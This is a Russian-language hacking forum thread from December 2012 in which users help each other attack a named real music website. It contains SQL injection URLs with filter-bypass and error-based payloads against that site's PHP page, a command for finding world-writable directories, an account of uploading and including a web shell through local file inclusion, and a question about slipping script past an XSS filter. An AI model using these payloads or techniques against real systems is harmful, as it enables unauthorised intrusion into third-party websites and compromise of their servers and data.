 |
|
23.12.2012, 22:11
|
|
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами:
7725206
Репутация:
26
|
|
Сообщение от FunOfGun
Ну, у меня опять проблемы с фильтрацией
Пробую так
http://www.mp3hun gama.com/music/genre_albums.php?id=3+(union)/**/(select+1,2,3)+--+
, но чего-то я не учел... Заранее благодарен.
http://www.mp3hungama.com/music/genre_albums.php?id=-3+union%0Aselect+1,2,3+--+
ток либо вывода нет, либо я не увидел, если нет, то через ошибку надо крутить..
|
|
|
23.12.2012, 22:35
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
Сообщение от FunOfGun
Ну, у меня опять проблемы с фильтрацией
Пробую так
http://www.mp3hun gama.com/music/genre_albums.php?id=3+(union)/**/(select+1,2,3)+--+
, но чего-то я не учел... Заранее благодарен.
_ttp://www.mp3hungama[antigoogle]com/music/genre_albums.php?id=3+or+1+group%0aby+mid(version( ),rand(0)|0)+having+avg(0)+--+-
|
|
|
|
23.12.2012, 22:52
|
|
Новичок
Регистрация: 20.03.2011
Сообщений: 11
С нами:
7972886
Репутация:
0
|
|
Проблема вот в чем:
Сначало rawurldecode а потом:
function quote_smart($in)
{
if (is_int($in) || is_double($in)) {
return $in;
} elseif (is_bool($in)) {
return $in ? 1 : 0;
} elseif (is_null($in)) {
return 'NULL';
} else {
return "'" . str_replace("'", "''", $in) . "'";
}
}
|
|
|
|
24.12.2012, 02:04
|
|
Новичок
Регистрация: 13.12.2012
Сообщений: 15
С нами:
7059926
Репутация:
0
|
|
Вечер добрый. Как построить строчку, чтобы загрузить в другой каталог? Или может использовать не wget?
|
|
|
|
24.12.2012, 02:06
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от Artrix
Вечер добрый. Как построить строчку, чтобы загрузить в другой каталог? Или может использовать не wget?
или
|
|
|
|
24.12.2012, 02:08
|
|
Новичок
Регистрация: 13.12.2012
Сообщений: 15
С нами:
7059926
Репутация:
0
|
|
А можно как нибудь вывести адреса папок с 0777 через php?
|
|
|
|
24.12.2012, 02:09
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от Artrix
А можно как нибудь вывести адреса папок с 0777 через php?
find / -type d -perm 0777
|
|
|
|
24.12.2012, 02:27
|
|
Новичок
Регистрация: 13.12.2012
Сообщений: 15
С нами:
7059926
Репутация:
0
|
|
Залил в дирректорию с 0777, проинклюдил, появился шел, но при нажатии пустое окно. И error log больше не идет(( LFI
|
|
|
|
24.12.2012, 02:30
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
С нами:
8618274
Репутация:
0
|
|
Сообщение от Artrix
Залил в дирректорию с 0777, проинклюдил, появился шел, но при нажатии пустое окно. И error log больше не идет(( LFI
Попробуй залить то же самое, только как txt файл - и посмотри, мб код сломан.
|
|
|
|
24.12.2012, 05:37
|
|
Познающий
Регистрация: 26.11.2008
Сообщений: 40
С нами:
9188165
Репутация:
4
|
|
Есть активка "> возможно через нее загрузить скрипт? словo script и все составляющие не проходят. Нужно чтобы работало на подобии
|
|
|
|
|
|
|
|
Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
|
|
|
|
Похожие темы
Линейный вид
